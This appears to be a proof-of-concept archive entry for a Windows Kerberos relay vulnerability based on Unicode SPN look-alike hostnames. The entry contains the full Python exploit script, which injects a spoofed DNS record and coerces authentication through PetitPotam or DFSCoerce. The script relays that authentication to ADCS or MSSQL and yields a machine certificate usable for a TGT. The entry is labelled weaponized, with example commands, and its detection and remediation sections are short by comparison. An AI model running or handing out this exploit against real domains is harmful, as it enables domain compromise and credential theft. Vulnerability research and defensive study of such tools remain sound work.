PoC Archive PoC Archive
Critical CVE-2026-26128 unpatched

Windows Kerberos Reflection via Unicode SPN Normalization Bypass (CVE-2026-26128)

by Jarno van den Brink (PoC tool); Guillaume André / Synacktiv (underlying research) · 2026-07-05

Severity
Critical
CVE
CVE-2026-26128
Category
network
Affected product
Windows Active Directory (DnsCache SPN resolution / Kerberos authentication)
Affected versions
Windows AD environments prior to the March 2026 Patch Tuesday update (SMB relay path patched then; ADCS web enrollment and MSSQL relay paths still exploitable per PoC)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherJarno van den Brink (PoC tool); Guillaume André / Synacktiv (underlying research)
CVE / AdvisoryCVE-2026-26128
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagskerberos-relay, active-directory, adcs, unicode-normalization, spn-spoofing, ntlm-relay, dns-spoofing, privilege-escalation
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows Active Directory (DnsCache SPN resolution / Kerberos authentication)
Versions AffectedWindows AD environments prior to the March 2026 Patch Tuesday update (SMB relay path patched then; ADCS web enrollment and MSSQL relay paths still exploitable per PoC)
Language / PlatformPython 3.8+
Authentication RequiredYes (valid low-privileged domain credentials)
Network Access RequiredYes (must reach a Domain Controller’s LDAP/DNS and be able to coerce/observe authentication)

Summary

CVE-2026-26128 is a Kerberos relay vulnerability rooted in a mismatch between how two different Windows components normalize Unicode characters when resolving Service Principal Names. The client-side DnsCache service uses CompareStringW with NORM_IGNORECASE, which fails to equate visually-similar “fullwidth”/circled Unicode characters (e.g. ⓢⓡⓥ1.ⓐⓓ.ⓛⓞⓒⓐⓛ) with the real ASCII hostname, while the Domain Controller uses LCMapStringEx with different normalization flags that do treat them as equivalent. By registering a DNS record for the Unicode look-alike hostname pointing at an attacker-controlled machine, an attacker can trick a victim service into issuing an AP-REQ that Kerberos will still validate as targeting the real host, letting it be relayed. This builds on prior Windows authentication-reflection mitigation research by Synacktiv. The PoC is a full Python relay toolkit (DNS record injection, SMB/HTTP relay servers, coercion helpers) supporting relay to ADCS web enrollment and MSSQL, ultimately netting a certificate usable to request a TGT via PKINIT.


Vulnerability Details

Root Cause

Windows’ DnsCache service and the Domain Controller’s authentication stack use two different Unicode normalization routines (CompareStringW/NORM_IGNORECASE vs LCMapStringEx with flags 0x31403) when comparing SPN/hostnames, causing a Unicode “confusable” hostname to be treated as distinct by one component and identical by the other.

Attack Vector

  1. Attacker with valid domain credentials connects to LDAP on the Domain Controller and registers a DNS record for a Unicode-normalized look-alike of a legitimate hostname (e.g. a target DC or SQL server).
  2. Attacker stands up SMB/HTTP relay listeners and coerces or waits for a privileged service/machine account to authenticate toward the spoofed hostname (e.g. via PetitPotam/DFSCoerce-style coercion or the target’s own DNS resolution).
  3. The victim’s Kerberos client resolves the Unicode SPN as matching the real target and issues an AP-REQ, which is intercepted and relayed by the attacker to an ADCS web enrollment endpoint or MSSQL server not enforcing channel binding/signing.
  4. The relayed authentication yields a certificate (or SQL session) that can be used to request a TGT via PKINIT, granting the attacker a foothold as the relayed machine/service account.

Impact

Enables authentication relay against ADCS certificate enrollment or MSSQL despite prior Windows relay mitigations, potentially leading to domain machine-account or service compromise and further privilege escalation.


Environment / Lab Setup

Target:   Windows Active Directory domain with ADCS web enrollment or MSSQL relay targets, DC reachable over LDAP/DNS
Attacker: Python 3.8+, requirements.txt dependencies (impacket-derived libraries), network path to DC and relay target

Proof of Concept

PoC Script

See CVE-2026-26128.py and the supporting lib/ package (DNS, coercion, relay clients/servers, Kerberos/SPNEGO utilities) in this folder.

1
python3 CVE-2026-26128.py contoso.com/john:password -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10

The tool authenticates to LDAP, injects a Unicode-confusable DNS record pointing at the attacker host, spins up an SMB/HTTP relay server, waits for the relayed AP-REQ, and forwards the resulting authentication to the specified ADCS or MSSQL target, ultimately writing a usable client certificate (.pfx) that can be exchanged for a Kerberos TGT via PKINIT.


Detection & Indicators of Compromise

Signs of compromise:

  • New AD-integrated DNS records containing homoglyph or circled/fullwidth Unicode characters
  • Unexpected certificate issuance events tied to machine accounts via web enrollment
  • SMB/HTTP connections from non-standard hosts correlating with Kerberos AP-REQ relay patterns

Remediation

ActionDetail
Primary fixApply the March 2026 Patch Tuesday update (closes the SMB relay path); monitor Microsoft advisories for full closure of ADCS/MSSQL relay paths
Interim mitigationEnforce channel binding (EPA) on ADCS web enrollment and require encryption/signing on MSSQL connections; restrict who can create DNS records in AD-integrated zones

References


Notes

Mirrored from https://github.com/jarnovandenbrink/CVE-2026-26128 on 2026-07-05.

CVE-2026-26128.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import argparse
import logging
import os
import sys
import time

from impacket.examples import logger
from impacket.examples.utils import parse_identity
from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

from lib.servers import SMBRelayServer
from lib.clients import PROTOCOL_CLIENTS
from lib.utils.config import KrbRelayxConfig
from lib.coerce.petitpotam import PetitPotam
from lib.coerce.dfscoerce import DFSCoerce
from lib.dns.dns import DNSTool
from lib.utils.utils import parse_target, unicode

COERCERS = {
    'petitpotam': PetitPotam,
    'dfscoerce':  DFSCoerce,
}

def countdown(seconds):
    for remaining in range(seconds, 0, -1):
        sys.stdout.write(f'\r[*] Waiting for DNS propagation... {remaining}s')
        sys.stdout.flush()
        time.sleep(1)
    sys.stdout.write('\r[*] DNS propagation complete\n')
    sys.stdout.flush()

def start_relay_server(options, target_url, hostname):
    c = KrbRelayxConfig()
    c.setProtocolClients(PROTOCOL_CLIENTS)
    c.setTargets(TargetsProcessor(singleTarget=target_url, protocolClients=PROTOCOL_CLIENTS))
    c.setMode('RELAY')
    c.setAttacks(PROTOCOL_ATTACKS)
    c.setLootdir(options.lootdir)
    c.setSMB2Support(True)
    c.setInterfaceIp(options.listener)
    c.setIsADCSAttack('certsrv' in target_url)
    c.setADCSOptions(options.template)
    c.setIPv6(False)
    c.setWpadOptions(None, None)
    c.setEncoding('utf-8')
    c.setExeFile(None)
    c.setCommand(None)
    c.setEnumLocalAdmins(False)
    c.setLDAPOptions(False, False, False, False, None, None, False, False, False, False, False)
    c.setKrbOptions('ccache', hostname.split('.')[0].upper() + '$') # added some parsing
    c.setAuthOptions(None, None, None, None, None, False)
    c.setMSSQLOptions(options.query)
    c.setInteractive(False)

    server = SMBRelayServer(c)
    server.start()
    return server


def exploit(options, domain, username, password):

    # Parsing
    hostname = parse_target(options.target)
    if not hostname:
        parser.error(f"invalid target URL: {options.target}")

    if 'mssql' in options.target.lower() and not options.query:
        parser.error("MSSQL target requires -q/--query argument")
    unicode_fqdn = unicode(hostname)

    os.makedirs(options.lootdir, exist_ok=True)
    dns = DNSTool(domain, username, password, options.dc_ip)
    if not dns.add(unicode_fqdn, options.listener):
        logging.error("Failed to add DNS record, aborting")
        sys.exit(1)

    try:
        countdown(options.sleep)

        start_relay_server(options, options.target, hostname)

        COERCERS[options.method](
            username=username,
            password=password,
            domain=domain,
            dc_ip=options.dc_ip,
            listener=unicode_fqdn,
            target=hostname
        ).coerce()

        if 'certsrv' in options.target:
            pfx = os.path.abspath(os.path.join(options.lootdir, f"{hostname.split('.')[0].upper()}.pfx"))
            print(f"\n[*] Waiting for certificate...")
            while not os.path.exists(pfx):
                time.sleep(1)
            print(f"\n[*] To request a TGT using PKINIT run:")
            print(f"\tpython3 gettgtpkinit.py {domain}/{hostname.split('.')[0].upper()}$ -cert-pfx {pfx} -dc-ip {options.dc_ip} out.ccache\n")

        sys.stdin.read()

    except KeyboardInterrupt:
        print()
    finally:
        dns.remove(unicode_fqdn)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True, description="CVE-2026-26128 - Kerberos Reflection via Unicode SPN bypass")

    parser.add_argument('identity', action='store', help='[domain/]username[:password]')
    parser.add_argument('-t', '--target', action='store', required=True,
                        help='Relay target (e.g. http://contoso-dc.contoso.com/certsrv/certfnsh.asp or mssql://host)')
    parser.add_argument('-l', '--listener', action='store', required=True,
                        help='Attacker IP to listen on')
    parser.add_argument('-m', '--method', action='store', default='petitpotam',
                        choices=['petitpotam', 'dfscoerce'],
                        help='Coercion method (default: petitpotam)')
    parser.add_argument('-s', '--sleep', action='store', type=int, default=180, metavar='seconds',
                        help='Seconds to wait for DNS propagation (default: 150)')
    parser.add_argument('--lootdir', action='store', default='.', metavar='DIR',
                        help='Output directory (default: .)')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH',
                       help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action='store_true', help="Don't ask for password")
    group.add_argument('-k', action='store_true', help='Use Kerberos authentication via ccache (KRB5CCNAME)')
    group.add_argument('-dc-ip', action='store', metavar='ip address', required=True,
                       help='IP Address of the domain controller')

    adcs = parser.add_argument_group('adcs')
    adcs.add_argument('--template', action='store', metavar='TEMPLATE', default='DomainController',
                      help='AD CS certificate template (default: DomainController)')

    mssql = parser.add_argument_group('mssql')
    mssql.add_argument('-q', '--query', action='append', metavar='QUERY', default=None,
                       help='MSSQL query to execute (can specify multiple)')

    if len(sys.argv) == 1:
        parser.print_help()
        print("\nExamples: ")
        print("\t./CVE-2026-26128.py contoso.com/user:pass -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10")
        print("\t./CVE-2026-26128.py contoso.com/user:pass -t mssql://contoso-sql.contoso.com -l 192.168.1.80 -dc-ip 192.168.1.10 -q 'SELECT @@version'\n")
        sys.exit(1)

    options = parser.parse_args()
    logger.init(options.ts, options.debug)

    domain, username, password, _, _, options.k = parse_identity(
        options.identity, options.hashes, options.no_pass, options.k)

    if domain is None:
        logging.critical('Domain should be specified!')
        sys.exit(1)

    try:
        exploit(options, domain, username, password)
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        print(str(e))